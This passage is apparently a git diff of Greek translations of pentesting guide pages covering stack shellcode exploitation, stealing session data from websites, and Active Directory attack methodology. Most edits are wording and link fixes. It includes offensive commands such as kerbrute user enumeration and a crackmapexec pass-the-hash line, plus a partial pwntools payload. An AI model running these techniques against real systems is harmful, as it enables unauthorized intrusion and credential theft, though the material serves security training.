-Αυτό είναι σαν ένα [ret2lib](ret2lib/), αλλά πιο περίπλοκο χωρίς προφανές όφελος, αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις. 
+Αυτό είναι σαν ένα [ret2lib](ret2lib/index.html), αλλά πιο περίπλοκο χωρίς προφανές όφελος, αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.
 
 Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτήν την τεχνική με μια **διαρροή στοίβας** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
 ```python

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md

@@ -8,7 +8,7 @@
 
 ### C Example: A Vulnerable Program
 
-Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος C:
+Let's start with a simple example of a vulnerable C program:
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -35,7 +35,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας.
 - `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα.
 - `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
-- `-m32`: Συγκεντρώνει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
+- `-m32`: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
 
 ### Python Exploit using Pwntools
 
@@ -66,24 +66,24 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στη NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
+Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στην NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
 
-Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στη NOP slide.
+Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στην NOP slide.
 
 ## Προστασίες
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η διεύθυνση επιστροφής του EIP που έχει παραβιαστεί δεν θα ακολουθηθεί ποτέ.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
 
 ## Άλλα Παραδείγματα & Αναφορές
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
+- 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και κάντε jump σε αυτό
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR με leak στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
+- 32 bit, ASLR με leak στοίβας, γράψτε shellcode και κάντε jump σε αυτό
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό
+- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και κάντε jump σε αυτό
 
 {{#include ../../../banners/hacktricks-training.md}}

src/stealing-sensitive-information-disclosure-from-a-web.md

@@ -6,8 +6,8 @@
 Εδώ σας παρουσιάζω τους κύριους τρόπους που μπορείτε να προσπαθήσετε να το πετύχετε:
 
 - [**CORS bypass**](pentesting-web/cors-bypass.md): Αν μπορείτε να παρακάμψετε τα headers CORS, θα είστε σε θέση να κλέψετε τις πληροφορίες εκτελώντας Ajax αίτημα για μια κακόβουλη σελίδα.
-- [**XSS**](pentesting-web/xss-cross-site-scripting/): Αν βρείτε μια ευπάθεια XSS στη σελίδα, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να κλέψετε τις πληροφορίες.
-- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Αν δεν μπορείτε να εισάγετε XSS tags, μπορεί ακόμα να είστε σε θέση να κλέψετε τις πληροφορίες χρησιμοποιώντας άλλες κανονικές HTML tags.
-- [**Clickjaking**](pentesting-web/clickjacking.md): Αν δεν υπάρχει προστασία κατά αυτής της επίθεσης, μπορεί να είστε σε θέση να παραπλανήσετε τον χρήστη να σας στείλει τις ευαίσθητες πληροφορίες (ένα παράδειγμα [εδώ](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
+- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Αν βρείτε μια ευπάθεια XSS στη σελίδα, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να κλέψετε τις πληροφορίες.
+- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Αν δεν μπορείτε να εισάγετε XSS tags, μπορεί ακόμα να είστε σε θέση να κλέψετε τις πληροφορίες χρησιμοποιώντας άλλες κανονικές HTML tags.
+- [**Clickjaking**](pentesting-web/clickjacking.md): Αν δεν υπάρχει προστασία κατά αυτής της επίθεσης, μπορεί να είστε σε θέση να παραπλανήσετε τον χρήστη να σας στείλει τις ευαίσθητες δεδομένες (ένα παράδειγμα [εδώ](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ./banners/hacktricks-training.md}}

src/todo/stealing-sensitive-information-disclosure-from-a-web.md

@@ -2,12 +2,12 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Αν σε κάποια στιγμή βρείτε μια **ιστοσελίδα που σας παρουσιάζει ευαίσθητες πληροφορίες με βάση τη συνεδρία σας**: Ίσως να αντικατοπτρίζει cookies, ή να εκτυπώνει ή λεπτομέρειες CC ή οποιαδήποτε άλλη ευαίσθητη πληροφορία, μπορείτε να προσπαθήσετε να την κλέψετε.\
+Αν σε κάποια στιγμή βρείτε μια **ιστοσελίδα που σας παρουσιάζει ευαίσθητες πληροφορίες με βάση τη συνεδρία σας**: Ίσως να αντικατοπτρίζει cookies, ή να εκτυπώνει λεπτομέρειες πιστωτικής κάρτας ή οποιαδήποτε άλλη ευαίσθητη πληροφορία, μπορείτε να προσπαθήσετε να την κλέψετε.\
 Εδώ σας παρουσιάζω τους κύριους τρόπους που μπορείτε να προσπαθήσετε να το πετύχετε:
 
-- [**CORS bypass**](../pentesting-web/cors-bypass.md): Αν μπορείτε να παρακάμψετε τα CORS headers θα είστε σε θέση να κλέψετε τις πληροφορίες εκτελώντας Ajax αίτημα για μια κακόβουλη σελίδα.
-- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Αν βρείτε μια ευπάθεια XSS στη σελίδα, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να κλέψετε τις πληροφορίες.
-- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Αν δεν μπορείτε να εισάγετε XSS tags, μπορεί ακόμα να είστε σε θέση να κλέψετε τις πληροφορίες χρησιμοποιώντας άλλες κανονικές HTML tags.
-- [**Clickjaking**](../pentesting-web/clickjacking.md): Αν δεν υπάρχει προστασία κατά αυτής της επίθεσης, μπορεί να είστε σε θέση να παραπλανήσετε τον χρήστη να σας στείλει τα ευαίσθητα δεδομένα (ένα παράδειγμα [εδώ](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
+- [**CORS bypass**](../pentesting-web/cors-bypass.md): Αν μπορείτε να παρακάμψετε τις κεφαλίδες CORS, θα είστε σε θέση να κλέψετε τις πληροφορίες εκτελώντας Ajax αίτημα για μια κακόβουλη σελίδα.
+- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Αν βρείτε μια ευπάθεια XSS στη σελίδα, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να κλέψετε τις πληροφορίες.
+- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Αν δεν μπορείτε να εισάγετε XSS tags, μπορεί ακόμα να είστε σε θέση να κλέψετε τις πληροφορίες χρησιμοποιώντας άλλες κανονικές HTML tags.
+- [**Clickjaking**](../pentesting-web/clickjacking.md): Αν δεν υπάρχει προστασία κατά αυτής της επίθεσης, μπορεί να είστε σε θέση να παραπλανήσετε τον χρήστη να σας στείλει τις ευαίσθητες δεδομένες (ένα παράδειγμα [εδώ](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/README.md

@@ -11,7 +11,7 @@
 Βασικές έννοιες εντός του **Active Directory** περιλαμβάνουν:
 
 1. **Κατάλογος** – Περιέχει όλες τις πληροφορίες που αφορούν τα αντικείμενα του Active Directory.
-2. **Αντικείμενο** – Δηλώνει οντότητες εντός του καταλόγου, συμπεριλαμβανομένων **χρηστών**, **ομάδων** ή **κοινών φακέλων**.
+2. **Αντικείμενο** – Δηλώνει οντότητες εντός του καταλόγου, συμπεριλαμβανομένων των **χρηστών**, **ομάδων** ή **κοινών φακέλων**.
 3. **Τομέας** – Λειτουργεί ως δοχείο για τα αντικείμενα του καταλόγου, με τη δυνατότητα να συνυπάρχουν πολλοί τομείς εντός ενός **δάσους**, καθένας διατηρώντας τη δική του συλλογή αντικειμένων.
 4. **Δέντρο** – Μια ομάδα τομέων που μοιράζονται έναν κοινό ριζικό τομέα.
 5. **Δάσος** – Η κορυφή της οργανωτικής δομής στο Active Directory, που αποτελείται από αρκετά δέντρα με **σχέσεις εμπιστοσύνης** μεταξύ τους.
@@ -34,7 +34,7 @@
 
 ## Cheat Sheet
 
-Μπορείτε να επισκεφθείτε [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη επισκόπηση των εντολών που μπορείτε να εκτελέσετε για να καταγράψετε/εκμεταλλευτείτε ένα AD.
+Μπορείτε να επισκεφθείτε το [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη επισκόπηση των εντολών που μπορείτε να εκτελέσετε για να καταγράψετε/εκμεταλλευτείτε ένα AD.
 
 ## Recon Active Directory (No creds/sessions)
 
@@ -64,8 +64,8 @@
 {{#endref}}
 
 - **Δηλητηριάστε το δίκτυο**
-- Συγκεντρώστε διαπιστευτήρια [**μιμούμενοι υπηρεσίες με Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
-- Πρόσβαση σε υπολογιστή μέσω [**κατάχρησης της επίθεσης relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
+- Συγκεντρώστε διαπιστευτήρια [**υποδυόμενοι υπηρεσίες με Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+- Πρόσβαση σε υπολογιστή [**καταχρώντας την επίθεση relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
 - Συγκεντρώστε διαπιστευτήρια **εκθέτοντας** [**ψεύτικες υπηρεσίες UPnP με evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
 - Εξάγετε ονόματα χρηστών/ονόματα από εσωτερικά έγγραφα, κοινωνικά δίκτυα, υπηρεσίες (κυρίως ιστότοπους) εντός των περιβαλλόντων τομέα και επίσης από δημόσια διαθέσιμα.
@@ -76,8 +76,8 @@
 
 ### User enumeration
 
-- **Ανώνυμη SMB/LDAP enum:** Ελέγξτε τις σελίδες [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) και [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
-- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρήστη** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι απαιτείται από τον χρήστη να εκτελέσει προαυθεντικοποίηση.
+- **Ανώνυμη SMB/LDAP enum:** Ελέγξτε τις σελίδες [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) και [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
+- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρήστη** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι ο χρήστης απαιτείται να εκτελέσει προαυθεντικοποίηση.
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
 
@@ -109,10 +109,10 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
 
 ### Γνωρίζοντας ένα ή περισσότερα ονόματα χρηστών
 
-Εντάξει, οπότε γνωρίζετε ότι έχετε ήδη ένα έγκυρο όνομα χρήστη αλλά όχι κωδικούς πρόσβασης... Τότε δοκιμάστε:
+Εντάξει, γνωρίζετε ότι έχετε ήδη ένα έγκυρο όνομα χρήστη αλλά όχι κωδικούς πρόσβασης... Τότε δοκιμάστε:
 
 - [**ASREPRoast**](asreproast.md): Αν ένας χρήστης **δεν έχει** το χαρακτηριστικό _DONT_REQ_PREAUTH_, μπορείτε να **ζητήσετε ένα μήνυμα AS_REP** για αυτόν τον χρήστη που θα περιέχει κάποια δεδομένα κρυπτογραφημένα με μια παραλλαγή του κωδικού πρόσβασης του χρήστη.
-- [**Password Spraying**](password-spraying.md): Ας δοκιμάσουμε τους πιο **συνηθισμένους κωδικούς πρόσβασης** με κάθε έναν από τους ανακαλυφθέντες χρήστες, ίσως κάποιος χρήστης χρησιμοποιεί έναν κακό κωδικό (κρατήστε στο μυαλό σας την πολιτική κωδικών πρόσβασης!).
+- [**Password Spraying**](password-spraying.md): Ας δοκιμάσουμε τους πιο **συνηθισμένους κωδικούς πρόσβασης** με κάθε έναν από τους ανακαλυφθέντες χρήστες, ίσως κάποιος χρήστης να χρησιμοποιεί έναν κακό κωδικό (κρατήστε στο μυαλό σας την πολιτική κωδικών πρόσβασης!).
 - Σημειώστε ότι μπορείτε επίσης να **spray OWA servers** για να προσπαθήσετε να αποκτήσετε πρόσβαση στους διακομιστές αλληλογραφίας των χρηστών.
 
 {{#ref}}
@@ -156,7 +156,7 @@ kerberos-double-hop-problem.md
 Αναφορικά με [**ASREPRoast**](asreproast.md) μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md) μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς.
 
 - Μπορείτε να χρησιμοποιήσετε το [**CMD για να εκτελέσετε μια βασική αναγνώριση**](../basic-cmd-for-pentesters.md#domain-info)
-- Μπορείτε επίσης να χρησιμοποιήσετε [**powershell για αναγνώριση**](../basic-powershell-for-pentesters/) που θα είναι πιο διακριτικό
+- Μπορείτε επίσης να χρησιμοποιήσετε [**powershell για αναγνώριση**](../basic-powershell-for-pentesters/index.html) που θα είναι πιο διακριτικό
 - Μπορείτε επίσης να [**χρησιμοποιήσετε το powerview**](../basic-powershell-for-pentesters/powerview.md) για να εξαγάγετε πιο λεπτομερείς πληροφορίες
 - Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα active directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού μπορούν οι χρήστες να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ.
 - **Άλλα αυτοματοποιημένα εργαλεία καταγραφής AD είναι:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
@@ -175,7 +175,7 @@ kerberos-double-hop-problem.md
 
 ### Kerberoast
 
-Το Kerberoasting περιλαμβάνει την απόκτηση **TGS tickets** που χρησιμοποιούνται από υπηρεσίες που συνδέονται με λογαριασμούς χρηστών και την αποκρυπτογράφηση τους—η οποία βασίζεται στους κωδικούς πρόσβασης των χρηστών—**εκτός σύνδεσης**.
+Το Kerberoasting περιλαμβάνει την απόκτηση **TGS tickets** που χρησιμοποιούνται από υπηρεσίες που συνδέονται με λογαριασμούς χρηστών και την αποκρυπτογράφησή τους—η οποία βασίζεται στους κωδικούς πρόσβασης των χρηστών—**εκτός σύνδεσης**.
 
 Περισσότερα γι' αυτό:
 
@@ -185,13 +185,13 @@ kerberoast.md
 
 ### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.)
 
-Μόλις έχετε αποκτήσει κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσεις θυρών σας.
+Μόλις έχετε αποκτήσει κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσες θυρών σας.
 
 ### Τοπική Κλιμάκωση Προνομίων
 
-Αν έχετε συμβιβαστεί πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για **να κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM).
+Αν έχετε συμβιβαστεί πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM).
 
-Υπάρχει μια ολοκληρωμένη σελίδα σε αυτό το βιβλίο σχετικά με [**την τοπική κλιμάκωση προνομίων στα Windows**](../windows-local-privilege-escalation/) και μια [**λίστα ελέγχου**](../checklist-windows-privilege-escalation.md). Επίσης, μην ξεχάσετε να χρησιμοποιήσετε [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+Υπάρχει μια ολοκληρωμένη σελίδα σε αυτό το βιβλίο σχετικά με [**την τοπική κλιμάκωση προνομίων στα Windows**](../windows-local-privilege-escalation/index.html) και μια [**λίστα ελέγχου**](../checklist-windows-privilege-escalation.md). Επίσης, μην ξεχάσετε να χρησιμοποιήσετε [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 
 ### Τρέχοντα Εισιτήρια Συνεδρίας
 
@@ -205,11 +205,11 @@ kerberoast.md
 ```
 ### NTML Relay
 
-Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορεί να είστε σε θέση να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορείτε να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
 
 ### **Ψάξτε για Creds σε Κοινές Χρήσεις Υπολογιστών**
 
-Τώρα που έχετε κάποιες βασικές διαπιστεύσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε).
+Τώρα που έχετε κάποιες βασικές διαπιστώσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε).
 
 [**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε για εργαλεία που θα μπορούσατε να χρησιμοποιήσετε.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
 
@@ -229,14 +229,14 @@ kerberoast.md
 printnightmare.md
 {{#endref}}
 
-## Ανύψωση προνομίων στο Active Directory ΜΕ προνομιακές διαπιστεύσεις/συνεδρία
+## Ανύψωση προνομίων στο Active Directory ΜΕ προνομιακά διαπιστευτήρια/συνεδρία
 
-**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστεύσεις για να εκτελέσετε αυτές τις επιθέσεις.**
+**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστευτήρια για να εκτελέσετε αυτές τις επιθέσεις.**
 
 ### Εξαγωγή Hash
 
-Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό λογαριασμό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [ανύψωση προνομίων τοπικά](../windows-local-privilege-escalation/).\
-Τότε, είναι ώρα να ρίξετε όλα τα hashes στη μνήμη και τοπικά.\
+Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [ανύψωση προνομίων τοπικά](../windows-local-privilege-escalation/index.html).\
+Στη συνέχεια, είναι ώρα να εξάγετε όλα τα hashes στη μνήμη και τοπικά.\
 [**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
 ### Περάστε το Hash
@@ -261,7 +261,7 @@ over-pass-the-hash-pass-the-key.md
 pass-the-ticket.md
 {{#endref}}
 
-### Επαναχρησιμοποίηση Διαπιστεύσεων
+### Επαναχρησιμοποίηση Διαπιστευτηρίων
 
 Αν έχετε το **hash** ή τον **κωδικό πρόσβασης** ενός **τοπικού διαχειριστή**, θα πρέπει να προσπαθήσετε να **συνδεθείτε τοπικά** σε άλλους **υπολογιστές** με αυτό.
 ```bash
@@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 ### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι
 
 Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμη και να εκτελέσει μια **επίθεση** **relay**.\
-Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
